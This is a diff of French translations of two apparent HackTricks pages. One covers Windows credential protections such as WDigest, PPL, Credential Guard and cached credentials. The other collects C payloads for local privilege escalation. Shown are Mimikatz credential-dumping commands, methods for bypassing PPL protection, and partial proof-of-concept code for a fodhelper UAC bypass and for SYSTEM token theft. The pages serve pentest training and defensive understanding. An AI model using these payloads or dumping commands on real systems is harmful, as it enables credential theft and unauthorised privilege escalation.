Translated ['', 'src/windows-hardening/stealing-credentials/credentials-

src/windows-hardening/stealing-credentials/credentials-protections.md

@@ -1,117 +1,174 @@
-# Protections des Identifiants Windows
+# Protections des identifiants Windows
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## WDigest
 
-Le protocole [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>), introduit avec Windows XP, est conçu pour l'authentification via le protocole HTTP et est **activé par défaut sur Windows XP jusqu'à Windows 8.0 et Windows Server 2003 jusqu'à Windows Server 2012**. Ce paramètre par défaut entraîne **le stockage des mots de passe en texte clair dans LSASS** (Service de sous-système de sécurité local). Un attaquant peut utiliser Mimikatz pour **extraire ces identifiants** en exécutant :
+Le protocole [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>), introduit avec Windows XP, est conçu pour l'authentification via le protocole HTTP et est **activé par défaut sur Windows XP jusqu'à Windows 8.0 et sur Windows Server 2003 à Windows Server 2012**. Ce réglage par défaut entraîne le **stockage des mots de passe en clair dans LSASS** (Local Security Authority Subsystem Service). Un attaquant peut utiliser Mimikatz pour **extraire ces identifiants** en exécutant :
 ```bash
 sekurlsa::wdigest
 ```
-Pour **activer ou désactiver cette fonctionnalité**, les clés de registre _**UseLogonCredential**_ et _**Negotiate**_ dans _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ doivent être définies sur "1". Si ces clés sont **absentes ou définies sur "0"**, WDigest est **désactivé** :
+Pour **activer ou désactiver cette fonctionnalité**, les clés de registre _**UseLogonCredential**_ et _**Negotiate**_ situées dans _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ doivent être définies sur "1". Si ces clés sont **absentes ou définies sur "0"**, WDigest est **désactivé** :
 ```bash
 reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
 ```
-## Protection LSA (processus protégés PP & PPL)
+## LSA Protection (PP & PPL protected processes)
 
-**Processus Protégé (PP)** et **Processus Protégé Léger (PPL)** sont des **protections au niveau du noyau Windows** conçues pour empêcher l'accès non autorisé à des processus sensibles comme **LSASS**. Introduit dans **Windows Vista**, le **modèle PP** a été initialement créé pour l'application de **DRM** et ne permettait que la protection des binaires signés avec un **certificat média spécial**. Un processus marqué comme **PP** ne peut être accédé que par d'autres processus qui sont **également PP** et ont un **niveau de protection égal ou supérieur**, et même alors, **uniquement avec des droits d'accès limités** à moins d'être spécifiquement autorisé.
+**Protected Process (PP)** et **Protected Process Light (PPL)** sont des **protections au niveau noyau de Windows** conçues pour empêcher l'accès non autorisé à des processus sensibles comme **LSASS**. Introduit dans **Windows Vista**, le **modèle PP** a été créé à l'origine pour l'application du **DRM** et ne permettait de protéger que des binaires signés avec un **certificat média spécial**. Un processus marqué **PP** ne peut être accédé que par d'autres processus **également PP** et ayant un **niveau de protection égal ou supérieur**, et encore, **seulement avec des droits d'accès limités** sauf autorisation explicite.
 
-**PPL**, introduit dans **Windows 8.1**, est une version plus flexible de PP. Il permet des **cas d'utilisation plus larges** (par exemple, LSASS, Defender) en introduisant des **"niveaux de protection"** basés sur le champ **EKU (Enhanced Key Usage)** de la signature numérique. Le niveau de protection est stocké dans le champ `EPROCESS.Protection`, qui est une structure `PS_PROTECTION` avec :
-- **Type** (`Protected` ou `ProtectedLight`)
-- **Signataire** (par exemple, `WinTcb`, `Lsa`, `Antimalware`, etc.)
+**PPL**, introduit dans **Windows 8.1**, est une version plus flexible de PP. Il permet des **cas d'utilisation plus larges** (p.ex. LSASS, Defender) en introduisant des **« niveaux de protection »** basés sur le champ EKU (Enhanced Key Usage) de la signature numérique. Le niveau de protection est stocké dans le champ `EPROCESS.Protection`, qui est une structure `PS_PROTECTION` contenant :
+- **Type** (`Protected` or `ProtectedLight`)
+- **Signer** (p.ex. `WinTcb`, `Lsa`, `Antimalware`, etc.)
 
 Cette structure est empaquetée dans un seul octet et détermine **qui peut accéder à qui** :
-- **Des valeurs de signataire plus élevées peuvent accéder à des valeurs plus basses**
+- **Les signers de valeur plus élevée peuvent accéder aux signers de valeur plus faible**
 - **Les PPL ne peuvent pas accéder aux PP**
 - **Les processus non protégés ne peuvent accéder à aucun PPL/PP**
 
 ### Ce que vous devez savoir d'un point de vue offensif
 
-- Lorsque **LSASS fonctionne en tant que PPL**, les tentatives de l'ouvrir en utilisant `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` depuis un contexte admin normal **échouent avec `0x5 (Accès refusé)`**, même si `SeDebugPrivilege` est activé.
-- Vous pouvez **vérifier le niveau de protection de LSASS** en utilisant des outils comme Process Hacker ou de manière programmatique en lisant la valeur `EPROCESS.Protection`.
-- LSASS aura généralement `PsProtectedSignerLsa-Light` (`0x41`), qui ne peut être accédé **que par des processus signés avec un signataire de niveau supérieur**, tel que `WinTcb` (`0x61` ou `0x62`).
-- PPL est une **restriction uniquement au niveau de l'espace utilisateur** ; **le code au niveau du noyau peut le contourner complètement**.
-- Le fait que LSASS soit PPL ne **prévent pas le dumping de credentials si vous pouvez exécuter du shellcode au niveau du noyau** ou **exploiter un processus à privilèges élevés avec un accès approprié**.
-- **Définir ou supprimer PPL** nécessite un redémarrage ou des **paramètres de Secure Boot/UEFI**, qui peuvent persister même après que les modifications du registre aient été annulées.
+- Quand **LSASS s'exécute en tant que PPL**, les tentatives de l'ouvrir via `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` depuis un contexte administrateur normal **échouent avec `0x5 (Access Denied)`**, même si `SeDebugPrivilege` est activé.
+- Vous pouvez **vérifier le niveau de protection de LSASS** en utilisant des outils comme Process Hacker ou programmaticalement en lisant la valeur `EPROCESS.Protection`.
+- LSASS aura typiquement `PsProtectedSignerLsa-Light` (`0x41`), qui ne peut être accédé **que par des processus signés avec un signer de niveau supérieur**, comme `WinTcb` (`0x61` ou `0x62`).
+- PPL est une **restriction uniquement au niveau Userland** ; **le code côté kernel peut la contourner complètement**.
+- Le fait que LSASS soit en PPL **n'empêche pas le credential dumping si vous pouvez exécuter du kernel shellcode** ou **tirer parti d'un processus fortement privilégié avec les accès appropriés**.
+- **Activer ou désactiver PPL** nécessite un redémarrage ou des réglages Secure Boot/UEFI, ce qui peut rendre la configuration PPL persistante même après l'annulation des changements de registre.
+
+### Create a PPL process at launch (documented API)
+
+Windows expose une méthode documentée pour demander un niveau Protected Process Light pour un processus enfant lors de sa création en utilisant la extended startup attribute list. Cela ne contourne pas les exigences de signature — l'image cible doit être signée pour la classe de signer demandée.
+
+Minimal flow in C/C++:
+```c
+// Request a PPL protection level for the child process at creation time
+// Requires Windows 8.1+ and a properly signed image for the selected level
+#include <windows.h>
+
+int wmain(int argc, wchar_t **argv) {
+STARTUPINFOEXW si = {0};
+PROCESS_INFORMATION pi = {0};
+si.StartupInfo.cb = sizeof(si);
+
+SIZE_T attrSize = 0;
+InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
+si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
+if (!si.lpAttributeList) return 1;
+
+if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
+
+DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
+if (!UpdateProcThreadAttribute(
+si.lpAttributeList, 0,
+PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
+&level, sizeof(level), NULL, NULL)) {
+return 1;
+}
+
+DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
+if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
+flags, NULL, NULL, &si.StartupInfo, &pi)) {
+// If the image isn't signed appropriately for the requested level,
+// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
+return 1;
+}
+
+// cleanup
+DeleteProcThreadAttributeList(si.lpAttributeList);
+HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
+CloseHandle(pi.hThread);
+CloseHandle(pi.hProcess);
+return 0;
+}
+```
+Notes et contraintes:
+- Utiliser `STARTUPINFOEX` avec `InitializeProcThreadAttributeList` et `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, puis passer `EXTENDED_STARTUPINFO_PRESENT` à `CreateProcess*`.
+- Le DWORD de protection peut être défini sur des constantes telles que `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, or `PROTECTION_LEVEL_LSA_LIGHT`.
+- Le processus enfant ne démarre en tant que PPL que si son image est signée pour cette classe de signataire ; sinon la création du processus échoue, généralement avec `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
+- Il ne s'agit pas d'un contournement — c'est une API prise en charge destinée aux images correctement signées. Utile pour durcir des outils ou valider des configurations protégées par PPL.
+
+Example CLI using a minimal loader:
+- Signataire Antimalware: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
+- Signataire LSA-light: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
 
 **Options pour contourner les protections PPL :**
 
-Si vous souhaitez dumper LSASS malgré PPL, vous avez 3 options principales :
-1. **Utiliser un pilote de noyau signé (par exemple, Mimikatz + mimidrv.sys)** pour **supprimer le drapeau de protection de LSASS** :
+Si vous voulez dump LSASS malgré PPL, vous avez 3 options principales :
+1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASS’s protection flag**:
 
 ![](../../images/mimidrv.png)
 
-2. **Apporter votre propre pilote vulnérable (BYOVD)** pour exécuter du code personnalisé au niveau du noyau et désactiver la protection. Des outils comme **PPLKiller**, **gdrv-loader** ou **kdmapper** rendent cela faisable.
-3. **Voler un handle LSASS existant** d'un autre processus qui l'a ouvert (par exemple, un processus AV), puis **le dupliquer** dans votre processus. C'est la base de la technique `pypykatz live lsa --method handledup`.
-4. **Abuser d'un processus privilégié** qui vous permettra de charger du code arbitraire dans son espace d'adresses ou à l'intérieur d'un autre processus privilégié, contournant ainsi efficacement les restrictions PPL. Vous pouvez consulter un exemple de cela dans [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ou [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
+2. **Bring Your Own Vulnerable Driver (BYOVD)** pour exécuter du code kernel personnalisé et désactiver la protection. Des outils comme **PPLKiller**, **gdrv-loader**, ou **kdmapper** rendent cela faisable.
+3. **Steal an existing LSASS handle** depuis un autre processus qui l'a ouvert (ex., un processus AV), puis **le dupliquer** dans votre processus. Ceci est la base de la technique `pypykatz live lsa --method handledup`.
+4. **Abuser d'un processus privilégié** qui vous permettra de charger du code arbitraire dans son espace d'adressage ou dans celui d'un autre processus privilégié, contournant ainsi les restrictions PPL. Vous pouvez consulter un exemple de ceci dans [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
 
-**Vérifiez l'état actuel de la protection LSA (PPL/PP) pour LSASS** :
+**Vérifier l'état actuel de la protection LSA (PPL/PP) pour LSASS**:
 ```bash
 reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
 ```
-Lorsque vous exécutez **`mimikatz privilege::debug sekurlsa::logonpasswords`**, cela échouera probablement avec le code d'erreur `0x00000005` à cause de cela.
+When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
+
+- Pour plus d'informations sur cette vérification [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
 
-- Pour plus d'informations à ce sujet, consultez [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
 
 ## Credential Guard
 
-**Credential Guard**, une fonctionnalité exclusive aux **Windows 10 (versions Entreprise et Éducation)**, améliore la sécurité des identifiants de machine en utilisant **Virtual Secure Mode (VSM)** et **Virtualization Based Security (VBS)**. Il exploite les extensions de virtualisation du processeur pour isoler des processus clés dans un espace mémoire protégé, loin de l'accès du système d'exploitation principal. Cette isolation garantit que même le noyau ne peut pas accéder à la mémoire dans VSM, protégeant ainsi efficacement les identifiants contre des attaques comme **pass-the-hash**. L'**Autorité de Sécurité Locale (LSA)** fonctionne dans cet environnement sécurisé en tant que trustlet, tandis que le processus **LSASS** dans le système d'exploitation principal agit simplement comme un communicateur avec le LSA de VSM.
+**Credential Guard**, une fonctionnalité exclusive à **Windows 10 (Enterprise and Education editions)**, renforce la sécurité des identifiants machine en utilisant **Virtual Secure Mode (VSM)** et **Virtualization Based Security (VBS)**. Il exploite les extensions de virtualisation CPU pour isoler les processus clés dans un espace mémoire protégé, hors de portée du système d'exploitation principal. Cette isolation garantit que même le kernel ne peut accéder à la mémoire dans le VSM, protégeant ainsi efficacement les identifiants contre des attaques comme **pass-the-hash**. Le **Local Security Authority (LSA)** fonctionne dans cet environnement sécurisé en tant que trustlet, tandis que le processus **LSASS** dans l'OS principal agit uniquement comme un communicateur avec le LSA du VSM.
 
-Par défaut, **Credential Guard** n'est pas actif et nécessite une activation manuelle au sein d'une organisation. Il est crucial pour améliorer la sécurité contre des outils comme **Mimikatz**, qui sont entravés dans leur capacité à extraire des identifiants. Cependant, des vulnérabilités peuvent encore être exploitées par l'ajout de **Security Support Providers (SSP)** personnalisés pour capturer des identifiants en texte clair lors des tentatives de connexion.
+Par défaut, **Credential Guard** n'est pas actif et nécessite une activation manuelle au sein d'une organisation. Il est essentiel pour renforcer la sécurité contre des outils comme **Mimikatz**, qui se trouvent limités dans leur capacité à extraire les identifiants. Cependant, des vulnérabilités peuvent encore être exploitées par l'ajout de **Security Support Providers (SSP)** personnalisés pour capturer les identifiants en clair lors des tentatives de connexion.
 
-Pour vérifier l'état d'activation de **Credential Guard**, la clé de registre _**LsaCfgFlags**_ sous _**HKLM\System\CurrentControlSet\Control\LSA**_ peut être inspectée. Une valeur de "**1**" indique une activation avec **UEFI lock**, "**2**" sans verrou, et "**0**" signifie qu'il n'est pas activé. Cette vérification de registre, bien qu'indicative, n'est pas la seule étape pour activer Credential Guard. Des conseils détaillés et un script PowerShell pour activer cette fonctionnalité sont disponibles en ligne.
+Pour vérifier l'état d'activation de **Credential Guard**, la clé de registre _**LsaCfgFlags**_ sous _**HKLM\System\CurrentControlSet\Control\LSA**_ peut être inspectée. Une valeur de "**1**" indique une activation avec **UEFI lock**, "**2**" sans lock, et "**0**" signifie qu'il n'est pas activé. Cette vérification du registre, bien qu'étant un indicateur fort, n'est pas la seule étape pour activer Credential Guard. Des instructions détaillées et un script PowerShell pour activer cette fonctionnalité sont disponibles en ligne.
 ```bash
 reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
 ```
-Pour une compréhension complète et des instructions sur l'activation de **Credential Guard** dans Windows 10 et son activation automatique dans les systèmes compatibles de **Windows 11 Enterprise et Education (version 22H2)**, consultez [la documentation de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
+Pour une compréhension complète et des instructions sur l'activation de **Credential Guard** dans Windows 10 et son activation automatique dans les systèmes compatibles de **Windows 11 Enterprise and Education (version 22H2)**, consultez [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
 
-Des détails supplémentaires sur la mise en œuvre de SSP personnalisés pour la capture de credentials sont fournis dans [ce guide](../active-directory-methodology/custom-ssp.md).
+Des détails supplémentaires sur l'implémentation de custom SSPs pour la capture d'identifiants sont fournis dans [this guide](../active-directory-methodology/custom-ssp.md).
 
-## Mode RestrictedAdmin RDP
+## RDP RestrictedAdmin Mode
 
-**Windows 8.1 et Windows Server 2012 R2** ont introduit plusieurs nouvelles fonctionnalités de sécurité, y compris le _**mode Restricted Admin pour RDP**_. Ce mode a été conçu pour améliorer la sécurité en atténuant les risques associés aux attaques de [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
+**Windows 8.1 and Windows Server 2012 R2** ont introduit plusieurs nouvelles fonctionnalités de sécurité, dont le _**Restricted Admin mode for RDP**_. Ce mode a été conçu pour renforcer la sécurité en atténuant les risques associés aux attaques [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
 
-Traditionnellement, lors de la connexion à un ordinateur distant via RDP, vos credentials sont stockés sur la machine cible. Cela pose un risque de sécurité significatif, surtout lors de l'utilisation de comptes avec des privilèges élevés. Cependant, avec l'introduction du _**mode Restricted Admin**_, ce risque est considérablement réduit.
+Traditionnellement, lorsque vous vous connectez à un ordinateur distant via RDP, vos identifiants sont stockés sur la machine cible. Cela représente un risque de sécurité important, surtout lorsque vous utilisez des comptes avec des privilèges élevés. Toutefois, avec l'introduction du _**Restricted Admin mode**_, ce risque est fortement réduit.
 
-Lors de l'initiation d'une connexion RDP en utilisant la commande **mstsc.exe /RestrictedAdmin**, l'authentification à l'ordinateur distant est effectuée sans stocker vos credentials sur celui-ci. Cette approche garantit que, en cas d'infection par un malware ou si un utilisateur malveillant accède au serveur distant, vos credentials ne sont pas compromises, car elles ne sont pas stockées sur le serveur.
+Lorsque vous initiez une connexion RDP en utilisant la commande **mstsc.exe /RestrictedAdmin**, l'authentification auprès de l'ordinateur distant est effectuée sans stocker vos identifiants dessus. Cette approche garantit que, en cas d'infection par un malware ou si un utilisateur malveillant accède au serveur distant, vos identifiants ne sont pas compromis, car ils ne sont pas stockés sur le serveur.
 
-Il est important de noter qu'en **mode Restricted Admin**, les tentatives d'accès aux ressources réseau depuis la session RDP n'utiliseront pas vos credentials personnelles ; au lieu de cela, l'**identité de la machine** est utilisée.
+Il est important de noter que dans le **Restricted Admin mode**, les tentatives d'accès aux ressources réseau depuis la session RDP n'utiliseront pas vos identifiants personnels ; c'est plutôt **l'identité de la machine** qui est utilisée.
 
-Cette fonctionnalité marque un pas en avant significatif dans la sécurisation des connexions de bureau à distance et la protection des informations sensibles contre toute exposition en cas de violation de la sécurité.
+Cette fonctionnalité représente une avancée importante pour sécuriser les connexions Remote Desktop et protéger les informations sensibles contre une exposition en cas de faille de sécurité.
 
 ![](../../images/RAM.png)
 
-Pour des informations plus détaillées, consultez [cette ressource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
+Pour plus d'informations détaillées, visitez [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
 
-## Credentials mises en cache
+## Cached Credentials
 
-Windows sécurise les **credentials de domaine** via l'**Autorité de Sécurité Locale (LSA)**, prenant en charge les processus de connexion avec des protocoles de sécurité tels que **Kerberos** et **NTLM**. Une caractéristique clé de Windows est sa capacité à mettre en cache les **dix dernières connexions de domaine** pour garantir que les utilisateurs peuvent toujours accéder à leurs ordinateurs même si le **contrôleur de domaine est hors ligne**—un avantage pour les utilisateurs d'ordinateurs portables souvent éloignés du réseau de leur entreprise.
+Windows sécurise les **domain credentials** via la **Local Security Authority (LSA)**, en prenant en charge les processus de logon avec des protocoles de sécurité comme **Kerberos** et **NTLM**. Une caractéristique clé de Windows est sa capacité à mettre en cache les **dix dernières connexions de domaine** pour s'assurer que les utilisateurs peuvent toujours accéder à leurs ordinateurs même si le **domain controller est hors ligne** — très utile pour les utilisateurs de laptops souvent hors du réseau de l'entreprise.
 
-Le nombre de connexions mises en cache est ajustable via une **clé de registre ou une stratégie de groupe** spécifique. Pour afficher ou modifier ce paramètre, la commande suivante est utilisée :
+Le nombre de connexions en cache est réglable via une **clé de registre** spécifique ou une **stratégie de groupe**. Pour afficher ou modifier ce paramètre, la commande suivante est utilisée :
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 ```
-L'accès à ces informations d'identification mises en cache est strictement contrôlé, seul le compte **SYSTEM** ayant les autorisations nécessaires pour les visualiser. Les administrateurs ayant besoin d'accéder à ces informations doivent le faire avec des privilèges d'utilisateur SYSTEM. Les informations d'identification sont stockées à : `HKEY_LOCAL_MACHINE\SECURITY\Cache`
+L'accès à ces identifiants mis en cache est strictement contrôlé, seul le compte **SYSTEM** disposant des autorisations nécessaires pour les consulter. Les administrateurs qui doivent accéder à ces informations doivent le faire avec les privilèges de l'utilisateur SYSTEM. Les identifiants sont stockés à : `HKEY_LOCAL_MACHINE\SECURITY\Cache`
 
-**Mimikatz** peut être utilisé pour extraire ces informations d'identification mises en cache en utilisant la commande `lsadump::cache`.
+**Mimikatz** peut être utilisé pour extraire ces identifiants mis en cache en exécutant la commande `lsadump::cache`.
 
-Pour plus de détails, la [source](http://juggernaut.wikidot.com/cached-credentials) originale fournit des informations complètes.
+Pour plus de détails, la [source originale](http://juggernaut.wikidot.com/cached-credentials) fournit des informations complètes.
 
-## Utilisateurs protégés
+## Protected Users
 
-L'appartenance au **groupe des Utilisateurs protégés** introduit plusieurs améliorations de sécurité pour les utilisateurs, garantissant des niveaux de protection plus élevés contre le vol et l'utilisation abusive des informations d'identification :
+L'appartenance au **groupe Protected Users** apporte plusieurs améliorations de sécurité pour les utilisateurs, garantissant un niveau de protection plus élevé contre le vol et l'abus d'identifiants :
 
-- **Délégation d'informations d'identification (CredSSP)** : Même si le paramètre de stratégie de groupe **Autoriser la délégation des informations d'identification par défaut** est activé, les informations d'identification en texte clair des Utilisateurs protégés ne seront pas mises en cache.
-- **Windows Digest** : À partir de **Windows 8.1 et Windows Server 2012 R2**, le système ne mettra pas en cache les informations d'identification en texte clair des Utilisateurs protégés, quel que soit l'état de Windows Digest.
-- **NTLM** : Le système ne mettra pas en cache les informations d'identification en texte clair des Utilisateurs protégés ni les fonctions unidirectionnelles NT (NTOWF).
-- **Kerberos** : Pour les Utilisateurs protégés, l'authentification Kerberos ne générera pas de **DES** ou de clés **RC4**, ni ne mettra en cache les informations d'identification en texte clair ou les clés à long terme au-delà de l'acquisition initiale du Ticket-Granting Ticket (TGT).
-- **Connexion hors ligne** : Les Utilisateurs protégés n'auront pas de vérificateur mis en cache créé lors de la connexion ou du déverrouillage, ce qui signifie que la connexion hors ligne n'est pas prise en charge pour ces comptes.
+- **Credential Delegation (CredSSP)** : Même si le paramètre de stratégie de groupe **Allow delegating default credentials** est activé, les identifiants en clair des Protected Users ne seront pas mis en cache.
+- **Windows Digest** : À partir de **Windows 8.1 et Windows Server 2012 R2**, le système ne mettra pas en cache les identifiants en clair des Protected Users, indépendamment du statut de Windows Digest.
+- **NTLM** : Le système ne mettra pas en cache les identifiants en clair des Protected Users ni les fonctions à sens unique NT (NTOWF).
+- **Kerberos** : Pour les Protected Users, l'authentification Kerberos ne générera pas de clés **DES** ou **RC4**, et ne mettra pas en cache les identifiants en clair ni les clés à long terme au-delà de l'acquisition initiale du Ticket-Granting Ticket (TGT).
+- **Offline Sign-In** : Les Protected Users n'auront pas de vérificateur mis en cache créé lors de la connexion ou du déverrouillage, ce qui signifie que la connexion hors ligne n'est pas prise en charge pour ces comptes.
 
-Ces protections sont activées dès qu'un utilisateur, membre du **groupe des Utilisateurs protégés**, se connecte à l'appareil. Cela garantit que des mesures de sécurité critiques sont en place pour protéger contre diverses méthodes de compromission des informations d'identification.
+Ces protections sont activées dès qu'un utilisateur membre du **groupe Protected Users** se connecte à l'appareil. Cela garantit que des mesures de sécurité critiques sont en place pour se prémunir contre diverses méthodes de compromission des identifiants.
 
 Pour des informations plus détaillées, consultez la [documentation officielle](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
 
-**Tableau provenant de** [**la documentation**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
+**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
 
 | Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016          |
 | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
@@ -132,4 +189,12 @@ Pour des informations plus détaillées, consultez la [documentation officielle]
 | Schema Admins           | Schema Admins            | Schema Admins                                                                 | Schema Admins                |
 | Server Operators        | Server Operators         | Server Operators                                                              | Server Operators             |
 
+## References
+
+- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
+- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
+- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
+- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
+- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
+
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md

@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Cette page regroupe des **extraits de code C petits et autonomes** qui sont utiles lors de l'escalade de privilèges locaux sur Windows ou après une exploitation. Chaque payload est conçu pour être **facile à copier-coller**, nécessite uniquement l'API Windows / le runtime C, et peut être compilé avec `i686-w64-mingw32-gcc` (x86) ou `x86_64-w64-mingw32-gcc` (x64).
+Cette page rassemble de petits extraits C autonomes qui sont utiles lors de Windows Local Privilege Escalation ou de post-exploitation. Chaque payload est conçu pour être facile à copier-coller, n'exige que le Windows API / C runtime, et peut être compilé avec `i686-w64-mingw32-gcc` (x86) ou `x86_64-w64-mingw32-gcc` (x64).
 
-> ⚠️  Ces payloads supposent que le processus dispose déjà des privilèges minimaux nécessaires pour effectuer l'action (par exemple, `SeDebugPrivilege`, `SeImpersonatePrivilege`, ou un contexte d'intégrité moyenne pour un contournement UAC). Ils sont destinés à des **environnements de red-team ou CTF** où l'exploitation d'une vulnérabilité a permis l'exécution de code natif arbitraire.
+> ⚠️  Ces payloads supposent que le processus dispose déjà des privilèges minimaux nécessaires pour effectuer l'action (p. ex. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ou un medium-integrity context pour un UAC bypass). Ils sont destinés à des environnements **red-team ou CTF** où l'exploitation d'une vulnérabilité a permis l'exécution de code natif arbitraire.
 
 ---
 
@@ -20,14 +20,14 @@ return 0;
 ```
 ---
 
-## Contournement de l'UAC – Détournement de registre `fodhelper.exe` (Intégrité Moyenne → Élevée)
-Lorsque le binaire de confiance **`fodhelper.exe`** est exécuté, il interroge le chemin de registre ci-dessous **sans filtrer le verbe `DelegateExecute`**. En plaçant notre commande sous cette clé, un attaquant peut contourner l'UAC *sans* déposer de fichier sur le disque.
+## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
+Lorsque le binaire de confiance **`fodhelper.exe`** est exécuté, il interroge le chemin de registre ci‑dessous **sans filtrer le verbe `DelegateExecute`**. En plaçant notre commande sous cette clé, un attaquant peut bypass UAC *sans* déposer de fichier sur le disque.
 
-*Chemin de registre interrogé par `fodhelper.exe`*
+*Registry path queried by `fodhelper.exe`*
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
-Un PoC minimal qui ouvre un `cmd.exe` avec des privilèges élevés :
+Un PoC minimal qui lance un `cmd.exe` élevé :
 ```c
 // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
 #define _CRT_SECURE_NO_WARNINGS
@@ -61,12 +61,12 @@ system("fodhelper.exe");
 return 0;
 }
 ```
-*Testé sur Windows 10 22H2 et Windows 11 23H2 (patches de juillet 2025). Le contournement fonctionne toujours car Microsoft n'a pas corrigé le contrôle d'intégrité manquant dans le chemin `DelegateExecute`.*
+*Testé sur Windows 10 22H2 et Windows 11 23H2 (patchs de juillet 2025). Le bypass fonctionne toujours car Microsoft n'a pas corrigé la vérification d'intégrité manquante dans le chemin `DelegateExecute`.*
 
 ---
 
 ## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
-Si le processus actuel détient **les deux** privilèges `SeDebug` et `SeImpersonate` (typique pour de nombreux comptes de service), vous pouvez voler le jeton de `winlogon.exe`, le dupliquer et démarrer un processus élevé :
+Si le processus courant possède **à la fois** les privilèges `SeDebug` et `SeImpersonate` (typique pour de nombreux comptes de service), vous pouvez voler le token de `winlogon.exe`, le dupliquer, et lancer un elevated process :
 ```c
 // x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
 #include <windows.h>
@@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
 STARTUPINFOW si = { .cb = sizeof(si) };
 PROCESS_INFORMATION pi = { 0 };
 if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
-L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
+L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
 NULL, NULL, &si, &pi)) {
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
